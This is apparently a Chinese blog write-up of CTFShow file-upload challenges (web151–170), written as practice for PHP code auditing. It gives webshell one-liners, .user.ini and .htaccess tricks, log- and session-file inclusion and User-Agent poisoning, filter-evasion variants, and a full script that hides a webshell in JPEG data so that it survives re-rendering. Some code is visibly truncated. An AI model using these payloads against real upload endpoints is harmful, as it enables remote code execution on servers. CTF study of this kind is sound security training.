php代码审计前奏之ctfshow之文件上传

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web151~前端验证

直接抓包修改后缀。

web152~前端+MIME

直接抓包修改后缀。

web153~.user.ini

https://www.php.net/manual/en/ini.list.php

使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式

(2)上传目录下要有可执行的php文件

使用方式:

  1. 上传一张图片马

  2. 上传 .user.iniauto_prepend_file=ma.png

  3. 访问.user.ini同级目录中的一个php文件。

本题目中有 /upload/index.php,所以可以操作。

题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)

web154~文件内容过滤php

上来测试发现是黑名单过滤的。

我们还可以上传 .user.ini,并且upload/index.php真好存在。

那么我们上传一张图片马,

发现被拦截了。

文件上传失败,失败原因:文件内容不合规 

猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。

那么我们呢绕过就可以了。

 echo '123';?>          # 不可  =eval($_POST['a']);?>     # 不可用 

web155~文件内容过滤php

测试正常的 png 图片可以上传。

对图片内容过滤php

绕过 =eval($_POST['a']);

步骤跟上关一样。。。。。

web156~过滤 php, [

测试,又是文件内容过滤了 php.

紧接着发现事情没这么简单,还过滤了[,这给传参造成了一定的困难。

但是我们可以直接

=system('cat ../flag.???');  =eval($_POST{'a'});    # 用 {} 代替   [] 

web157~过滤分号

nginx/1.18.0 (Ubuntu) PHP/5.6.40

文件名黑名单

经测试,对文件内容过滤了 php[{;

上传.user.ini

我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>结束标志。

上传 2.png

=system('ls ../')?> =system('cat ../*')?> 

访问upload/index.php

web158~过滤分号

和web157解法相同。

web159~过滤括号

经测试,对文件内容过滤了 php[{;(

问题不大,不能用函数了。

那我们用反引号代替system()

=`cat ../*`?> 

web160~过滤反引号,包含日志

经测试,对文件内容过滤了 php[{;(、 反引号 、空格。

好家伙。包含日志文件,但发现 log也被过滤了。那就进行拼接。

上传.user.ini后,在上传 ma.png

=include"/var/lo"."g/nginx/access.lo"."g"?> 

看到页面回显,确实包含了。

想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E

还是再UA出比较好。

修改UA User-Agent:

然后成功getshell.

web161~检测文件头

php代码审计前奏之ctfshow之文件上传

发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。

php代码审计前奏之ctfshow之文件上传

上传 GIF89a成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。

其余操作和上官相同。

web162~包含session文件

测试,这关也检测了文件头,但是同时过滤掉了 点 .

我们可以看到这样绕过

.user.ini :

GIF89a auto_prepend_file=ma 

但上传ma文件,同样不能包含日志文件。这时候就需要包含session文件了。

这里还过滤了flag

上传 ma

GIF89a =include"/tmp/sess_fllag"?> 

那么我们就开始构造,session文件竞争包含。

构造

   

php代码审计前奏之ctfshow之文件上传

一直上传,内容为写后门到 a.php

然后一直包含session文件。

php代码审计前奏之ctfshow之文件上传

可以看到成功包含,那么此时我们去upload/a.php,成功访问,并测试后门成功写入。

php代码审计前奏之ctfshow之文件上传

可以参考文件包含篇

还有 利用session.upload_progress进行文件包含

web163~包含session文件

过滤还是前面的过滤。

操作和上关一样的。

这里有upload/index.php,所以我们其实可以直接利用此文件包含Session文件。

上传.user.ini:

GIF89a auto_prepend_file=/tmp/sess_fllag 

然后就开始session文件竞争上传和包含。

php代码审计前奏之ctfshow之文件上传

成功。

这是题目源码:

 0) {  $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else {     $filename = $_FILES["file"]["name"];     $filesize = ($_FILES["file"]["size"] / 1024);     if($filesize>1024){      $ret = array("code"=>1,"msg"=>"文件超过1024KB");     }else{      if($_FILES['file']['type'] == 'image/png'){             $arr = pathinfo($filename);             $ext_suffix = $arr['extension'];             if($ext_suffix!='php'){                 $content = file_get_contents($_FILES["file"]["tmp_name"]);                 if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){                     move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);                     $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);                 }else{                     $ret = array("code"=>2,"msg"=>"文件类型不合规");                 }              }else{                 $ret = array("code"=>2,"msg"=>"文件类型不合规");             }             }else{       $ret = array("code"=>2,"msg"=>"文件类型不合规");      }           }  } function check($str){     return !preg_match('/php|{|[|;|log|(| |`|flag|./i', $str); }  function clearUpload(){     system("mv ./upload/index.php ./index.php_");     system("rm -rf ./upload/*");     system("mv ./index.php_ ./upload/index.php"); }  sleep(2); clearUpload(); echo json_encode($ret); 

web164~png二次渲染

测试了一下。

{"code":3,"msg":"只允许上传png格式图片"} 

白名单验证。

找了一张测试可以成功上传png图片。

还发现

download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png 

可以随意修改图片又会被检测,故做图片马。

但是一般的图片马还绕不过,应该是做了二次渲染。

所以可以上传二次渲染绕过的图片,在做文件包含即可。

生成脚本:

   */  $img = imagecreatetruecolor(32, 32);  for ($y = 0; $y  

php代码审计前奏之ctfshow之文件上传

web165~jpg二次渲染

测试只能上传 jpg.

{"code":3,"msg":"只允许上传jpg格式图片"} 

也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。

那么就用到 jpg二次渲染绕过了。

拿脚本

      In case of successful injection you will get a specially crafted image, which should be uploaded again.      Since the most straightforward injection method is used, the following problems can occur:     1) After the second processing the injected data may become partially corrupted.     2) The jpg_payload.php script outputs "Something's wrong".     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.      Sergey Bobrov @Black2Fan.      See also:     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/      */      $miniPayload = "=eval($_POST[1]);?>";       if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {         die('php-gd is not installed');     }      if(!isset($argv[1])) {         die('php jpg_payload.php ');     }      set_error_handler("custom_error_handler");      for($pad = 0; $pad readShort() != 0xFFD8) {             die('Incorrect SOI marker');         }          while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {             $marker = $dis->readByte();             $size = $dis->readShort() - 2;             $dis->skip($size);             if($marker === 0xDA) {                 $startPos = $dis->seek();                 $outStreamTmp =                      substr($outStream, 0, $startPos) .                      $miniPayload .                      str_repeat("",$nullbytePayloadSize) .                      substr($outStream, $startPos);                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);                 if($extraBytes !== 0) {                     while((!$dis->eof())) {                         if($dis->readByte() === 0xFF) {                             if($dis->readByte !== 0x00) {                                 break;                             }                         }                     }                     $stopPos = $dis->seek() - 2;                     $imageStreamSize = $stopPos - $startPos;                     $outStream =                          substr($outStream, 0, $startPos) .                          $miniPayload .                          substr(                             str_repeat("",$nullbytePayloadSize).                                 substr($outStream, $startPos, $imageStreamSize),                             0,                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                  substr($outStream, $stopPos);                 } elseif($correctImage) {                     $outStream = $outStreamTmp;                 } else {                     break;                 }                 if(checkImage('payload_'.$argv[1], $outStream)) {                     die('Success!');                 } else {                     break;                 }             }         }     }     unlink('payload_'.$argv[1]);     die('Something's wrong');      function checkImage($filename, $data, $unlink = FALSE) {         global $correctImage;         file_put_contents($filename, $data);         $correctImage = TRUE;         imagecreatefromjpeg($filename);         if($unlink)             unlink($filename);         return $correctImage;     }      function custom_error_handler($errno, $errstr, $errfile, $errline) {         global $extraBytes, $correctImage;         $correctImage = FALSE;         if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) {             if(isset($m[1])) {                 $extraBytes = (int)$m[1];             }         }     }      class DataInputStream {         private $binData;         private $order;         private $size;          public function __construct($filename, $order = false, $fromString = false) {             $this->binData = '';             $this->order = $order;             if(!$fromString) {                 if(!file_exists($filename) || !is_file($filename))                     die('File not exists ['.$filename.']');                 $this->binData = file_get_contents($filename);             } else {                 $this->binData = $filename;             }             $this->size = strlen($this->binData);         }          public function seek() {             return ($this->size - strlen($this->binData));         }          public function skip($skip) {             $this->binData = substr($this->binData, $skip);         }          public function readByte() {             if($this->eof()) {                 die('End Of File');             }             $byte = substr($this->binData, 0, 1);             $this->binData = substr($this->binData, 1);             return ord($byte);         }          public function readShort() {             if(strlen($this->binData) binData, 0, 2);             $this->binData = substr($this->binData, 2);             if($this->order) {                 $short = (ord($short[1]) binData||(strlen($this->binData) === 0);         }     } ?> 

先上传一张图片,然后下载下来,然后利用脚本生成。

php jpg_payload.php  

php代码审计前奏之ctfshow之文件上传

再继续上传,

发现这张图片不行,再来一张。

php代码审计前奏之ctfshow之文件上传

成功。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

web166~zip文件上传包含

尝试多次,发现zip 文件可上传。

php代码审计前奏之ctfshow之文件上传

但是上传直接编辑后门一句话的压缩包。

php代码审计前奏之ctfshow之文件上传

php代码审计前奏之ctfshow之文件上传

web167~.htaccess

php代码审计前奏之ctfshow之文件上传

但这只是前端限制。

可以看到,只允许jpg上传。

抓包测试了一下,是黑名单。

开局有个提示httpd

测试apache解析漏洞没解析。

测试.htaccess成功。

 SetHandler application/x-httpd-php  

然后上传带有马的 1.jpg即可。

但是这里浏览器响应回来的是 nginx呀,坑。

web168~后门免杀

基础免杀 

测试,会检测_GET_POST

可抓包后修改直接上传php文件。

反引号

反引号达到命令执行的效果。

 

把源码拔下来

[email protected] # @link: https://ctfer.com  */ error_reporting(0); if ($_FILES["file"]["error"] > 0) {  $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else {     $filename = $_FILES["file"]["name"];     $filesize = ($_FILES["file"]["size"] / 1024);     if($filesize>1024){      $ret = array("code"=>1,"msg"=>"文件超过1024KB");     }else{      if($_FILES['file']['type'] == 'image/png'){             $str = file_get_contents($_FILES["file"]["tmp_name"]);             if(check($str)===0){                 move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);                 $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);             }       }else{       $ret = array("code"=>2,"msg"=>"文件类型不合规");      }           }  }  function check($str){     return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str); }  echo json_encode($ret); 

本来还想着包含一波日志。

字符拼接

$_REQUEST

 

数学函数

这里

其他函数构造

 
 
 

web169~.user.ini包含日志

测试发现

抓包需修改Content-Type: image/png

文件名后缀随意。

看看文件内容过滤了啥 ? 等等。

只能进行 .user.ini日志文件包含了。

思路: 上传 .user.ini

auto_prepend_file=/var/log/nginx/access.log 

然后随便上传个php文件即可。

然后改UA为一句话即可。

web170

测试上传zip,抓包修改,后缀为php, MIME类型为image/png.

包含.user.ini

日志文件/var/log/nginx/access.log

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论